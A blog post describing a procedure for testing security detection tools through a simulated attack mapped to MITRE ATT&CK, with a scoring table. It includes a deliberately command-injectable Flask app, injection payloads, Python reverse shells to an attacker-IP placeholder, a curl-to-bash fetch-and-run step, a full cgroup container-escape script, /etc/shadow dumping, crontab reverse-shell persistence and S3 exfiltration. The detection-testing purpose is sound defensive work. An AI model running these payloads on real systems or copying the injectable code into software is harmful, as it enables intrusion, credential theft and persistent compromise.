Evaluating Security Tools
Tags: security, testing, tools
Published: 2022-07-17 01:13:16

---
title: Evaluating Security Tools
published: true
description: a sample security tool testing procedure
tags: security, testing, tools
cover_image: https://i.imgur.com/98owNr7.png
# Use a ratio of 100:42 for best results.
---

# Evaluating Security Solutions
From time to time in my career in security I've been asked to select a new security tool/vendor to generate security events and alert on suspicious or malicious behaviors. Sometimes these are network based solutions, other times they're host based, and still other times they're something in between, operating on kubernetes or the cloud infrastructure.  

Regardless of the method in which the tool is designed to work, it should create alerts that can be mapped to techniques and tactics in the [MITRE ATT&CK](https://attack.mitre.org/) framework. If you're not familiar with the ATT&CK framework, you should pause here and read the excellent ATT&CK 101 blog post [here](https://medium.com/mitre-attack/att-ck-101-17074d3bc62)

This article should give you an idea on how to take a security solution and build a test case for it, mapping our "attacker" actions to the ATT&CK framework and then comparing those actions to the alerts generated by the tool. I will also show you a sample scorecard to evaluate and compare different vendors. Every time I've run one of these tests I have been surprised by the results. and most often in a bad way. Which is to say, I've learned much more through this process about the weaknesses of various tools by running these tests than I would have via any other method. 

## 1 - Requirements Gathering
Before you can run _any_ test of a security tool you need to know what your requirements are. This means understand what you **need** it to do vs what you **want** it to do, and what your nice-to-haves are. For example, many security tools (at the time this is written (hopefully)) don't support monitoring security events that occur inside of containers. Others will only support monitoring events inside of a particular container runtime. You need to determine for yourself if seeing those events is critical, important, or nice-to-have. For me during my last test, it was critical, and that shapes the test plan. 

A (very abbreviated) sample set of requirements:

**Critical**
* monitoring of hosted kubernetes environments (GKE, EKS, etc)
* monitoring of self-hosted kubernetes environments
* monitoring of traditional linux VMs
* monitoring of traditional linux VMs running docker
    * via docker runtime
    * via containerd

**Important**
* ability to write and customize alerts

**Nice to Haves**
* native monitoring of DNS
* Integration with threat-intel feeds
    * e.g. alerts for connections to malicious IPs

You should spend as much time as you need on this step because it is the input to all the future steps and as they say, garbage in, garbage out. 

## 2 - Design a test plan
Test plans come in all shapes and sizes but in general I try to ensure that I have *at least* one action for the following tactics from the ATT&CK framework:

* Recon
* Initial Access
* Execution
* Persistence
* Privilege Escalation
* Credential Access
* Discovery
* Lateral movement
* Exfiltration

This isn't to say that the others aren't important, but for me, those are the ones I want to make sure I have for a basic test. 

In my experience it isn't important for the tactics and techniques you use to be complex or advanced. As a matter of fact, it's best if your initial round of testing _isn't_ advanced or fancy. By default many security tools won't even detect the basics in a meaningful way and you can always take the things you DID detect and make them fancier and re-test. 

## 2 - Test Setup
### 2a - Target machines

The following is my generalized setup for the test machines from my most recent test:

* A ubuntu 20.04 server named `target-a` with:
    * docker + `containerd` 
    * a 20gb file of junk data to "exfil"
    * a container vulnerable to RCE running in `privileged mode` (details later)
    * an SSH key owned by `root`
* A second ubuntu 20.04 server named `lat-a` with: 
    * the SSH public key from `target-a` added to `authorized-keys`

A sample script that can be used to automate the setup of `target-a` can be found here: https://gist.github.com/LivingInSyn/317a0e664aee59dcf82acf0d9efb70df

If the security tool you're evaluating is host based don't forget to add a step the install script to install your security solution, otherwise, you're not going to generate many events. I'm not saying I've forgotten before but, uh, I've definitely wasted time...

### 2b - The vulnerable app

The container vulnerable to RCE is very simple. Like I said before, complexity isn't necessary for this kind of test. The `/isup` API is subject to a trivial RCE bug. Sample payloads are provided in section `3b` below.

#### vuln_app.py
```python
from flask import Flask
from flask_restful import reqparse, abort, Api, Resource
import subprocess

app = Flask(__name__)
api = Api(app)

parser = reqparse.RequestParser()
parser.add_argument('url')

class IsUp(Resource):
    def post(self):
        args = parser.parse_args()
        url = args['url']
        command = f'curl -L {url}'
        rval = subprocess.call(command, shell=True)
        if rval != 0:
            return {'status': 'down'}, 400
        return {'status': 'up'}, 200

class HealthCheck(Resource):
    def get(self):
        return '', 200
        

api.add_resource(IsUp, '/isup')
api.add_resource(HealthCheck, '/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
```

#### Dockerfile
```Dockerfile
FROM python
RUN pip install flask flask-restful
RUN mkdir -p /app
ADD vuln_app.py /app/vuln_app.py
CMD ["python", "/app/vuln_app.py"]
```


### 2c - Our attacker machine
Our attacker machine is going to be any linux box. The only requirement is that the box has an IP address accessible by the target machine. For the basic steps detailed in section 3 the tools required are:

* netcat
* curl

For the additional more advanced steps I used [sliver](https://github.com/BishopFox/sliver) as a c2. Sliver is an excellent tool for the job and unlike some _other_ tools, it's FOSS! You can easily replace sliver with your tool of choice, however. 

## 3 - The attack plan

Our attack plan is outlined below:

| Event                                | Type                     | MITRE ATT&CK Technique                                                                           | Observed |
|--------------------------------------|--------------------------|--------------------------------------------------------------------------------------------------|----------|
| Scanning of host (nmap)              | Network, Host, Container | Recon - Active Scanning - T1595.001                                                                      |          |
| Command injection - testing          | Network, WAF, Container  | Recon - Active Scanning - T1595.002                                                                      |          |
| Reverse shell in container           | Network, Container       | Initial Access - Exploit Public-Facing Application - T1190<br>Execution - Command and script interpreter (python) - T1059.006 |          |
| Data collection / recon in container | Container                | Recon - Gather Victim Host Information:<br> Software - T1592.002                                         |          |
| Container Breakout                   | Host, Container          | Priv. Esc. - Escape to host - T1611                                                                           |          |
| Reverse shell in host                | Network, Host            | Execution - Command and script interpreter (python) - T1059.006                                              |          |
| Data collection / recon in host      | Host                     | Recon - Gather Victim Host Information:<br> Software - T1592.002                                         |          |
| Credential Access: dump /etc/shadow  | Host                     | Cred. Access - Credentials from Password Stores - T1555      
| Credential Access: Searching for plaintext passwords | Host     | Cred. Access/Discovery - Credentials from Password Stores - T1555 
| Discovery: dump /etc/passwd          | Host                     | Cred. Access - Account Discovery: Local Account - T1087.001
| Persistence: modify crontab          | Host                     | Persistance - Scheduled Task/Job:<br> Cron - T1053.003                                                         |          |
| Attacker installed tooling: AWS CLI  | Host                     | N/A                                                                                              |          |
| Exfil: AWS S3 Bucket Upload          | Network, Host            | Exfiltration - Exfiltration Over Web Service:<br> Exfiltration to Cloud Storage - T1567.002                     |          |

Some additional more advanced steps that we shouldn't run until (at least) our second round of testing and that we won't cover in this simplified guide:

| Event                                 | Type                     | MITRE ATT&CK Technique                                                                           | Observed |
|---------------------------------------|--------------------------|--------------------------------------------------------------------------------------------------|----------|
| Silver C2                             | Network, Host, Container | Command and Control: Application Layer Protocols: Web Protocols - T1071.001
| Hide the file from Silver C2          | Host                     | Defense Evasion - Hide Artifacts: Hidden Files and Directories - T1564.001
| Run the PS command to see processes   | Host                     | Discovery - Process Discovery - T1057
| Gathering data from GCP buckets       | Host                     | Discovery - Cloud Storage Object Discovery - T1619
| Discover hosts on the same subnet     | Network, Host            | Recon - Active Scanning - T1595
| Use stolen key to move laterally      | Network, Host            | Lateral Movement - Remote Services - T1021

We won't run through all of these steps in detail, but we will run through several of them.

### 3a - Scanning
From the attacker host, scan the public IP of `target-a`

```shell
nmap -sS -sV -vv -O $VICTIM_IP
```

### 3b - Test command injection
We want to do three things here

* a valid test (baseline)
* a test with a blind test (`sleep`)
* a test with output (`whoami`)

```shell
curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com"}'  http://$VICTIM_IP/isup # valid test

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && sleep 10"}'  http://$VICTIM_IP/isup # blind test, takes 10 seconds to return

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && whoami"}'  http://$VICTIM_IP/isup # test getting output (non-blind)
```

### 3c - Reverse shell on the container
Now we want to spawn a reverse shell from the container back to our attacker machine. On our attacker machine we want to start our reverse shell listener on port `55555`:

```shell
nc -lnvp 55555
```

Now create a github gist (or pastebin or simple webserver on our attacker box etc.) with the following contents. This is an optional step, but I find it makes keeping track of things easier. Make sure to replace `<YOUR ATTACKER IP HERE>` with your attacker IP:

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR ATTACKER IP HERE>",55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

Note that you can generate alternate reverse shells easily using https://www.revshells.com/

Run the injection and spawn our reverse shell, replacing `<YOUR GIST URL>` with your gist url or rev shell

```shell
curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && curl <YOUR GIST URL> | /bin/bash"}' http://$VICTIM_IP/isup
```

### 3d - Data collection / recon in container
From our newly created reverse shell, lets run some verifiable actions that we should see in our security tool

```shell
whoami
hostname
cat /etc/os-release
uname -r
```

At this point we can probably guess that we're inside of a container and we should try and break out!

### 3e - Container Breakout + Host Shell
For the container breakout step we're going to use a process called PID bashing. You can read more about it here:

https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html

To do it, we're first going to create another gist/paste/file-on-webserver with the following contents (making sure to replace the IP placeholder again):

```shell
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<YOUR ATTACKER IP HERE>,55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```

Then we're going to spawn another reverse shell and trigger the breakout from out attacker box

```shell
nc -lnvp 55554 &
curl <Your gist URL> | /bin/bash
```

Yay! We should now have a shell on the host machine as `root`!

### 3f - Recon and Cred. Access in the Host
Now we want to run some more actions that should raise alerts as we do some recon and credential access

```shell
whoami
hostname
cat /etc/os-release
uname -r
cat /etc/passwd
cat /etc/shadow
ls ~/.ssh
```

### 3g - Persistance in the host
Now we want to add some basic persistance. There are sneakier ways to get persistance but an incredibly simple (and common!) method is to modify the crontab to spawn a new reverse shell on a schedule. Make sure to check for `<ATTACKER IP>` placeholders and replace them with your values!

```shell
echo "* * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>\",55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" >> /etc/crontab
```

### 3h - Install some tools and exfil data
Please note that to run this step you'll need an s3 bucket and some write only IAM keys. You can change this to writing to any other file storage solution of your choice, however. 

Now we want to install some quick tools, in this case the AWS CLI, and exfil some imaginary data that we created when we setup the victim box.
```shell
apt install -y unzip 
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# enter the access key id and secret key in this next step along with the region of your bucket
export PATH="/usr/local/bin:$PATH"
aws configure
aws s3 cp /data.enc s3://attack-sim-bucket/
```

There's nothing super special here, but if your box is on, say, Azure, someone installing the AWS CLI should _probably_ be an alert.

## 4 - Check for Events and score
Now that we're run through our attack scenario, it's time to take some scores! I should really emphasize that these scores are just one possible weighting and you _should_ disagree with me based on the risks that you're facing and the things that you think are most important! You might also want to change the weight and the events considered based on the type of tool you're evaluating or if you're evaluating multiple tools working in parallel with each other.

| Event                             | Points    | Observed? |
| ----------------------------------|-----------|-----------|
| Scanning                          | 1         |           |
| Command Injection - testing       | 2         |           |
| Container Reverse Shell           | 3         |           |
| Data Collection/Recon in Shell    | 2         |           |
| Container Breakout                | 3         |           |
| Host Reverse Shell                | 4         |           |
| Data Collection/Recon in Host     | 2         |           |
| Dumping `/etc/shadow`             | 2         |           |
| Persistance via crontab           | 3         |           |
| Attacker installed tooling        | 1         |           |
| Exfil of data to s3 bucket        | 1         |           |
| Natively alert on curl-> bash     | 2         |           |

# Credits
Nothing like this gets done in a vacuum, so huge thanks to two members of my team who were instrumental in this most recent version of this test.

* Jessica Wilson: [LinkedIn](https://www.linkedin.com/in/jw27/)
* Oak Latt: [LinkedIn](http://linkedin.com/in/oaklatt)

# Conclusion
This is just a single possible test setup that you can use for testing and evaluating a security tool or a set of security tools. It is not by any means an exhaustive test, if anything it's extremely basic. But if you try it with your security tools I bet you'll be amazed at what is and isn't caught and you'll learn something valuable. There are some great resources out there for finding different methods to use with different platforms and threat scenarios. One of my favorites is [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team). 

Have you tried this? Do you have a different testing methodology? I'd love to hear all about it! Leave me a comment, or send me an email, or hit me up on twitter. Thanks!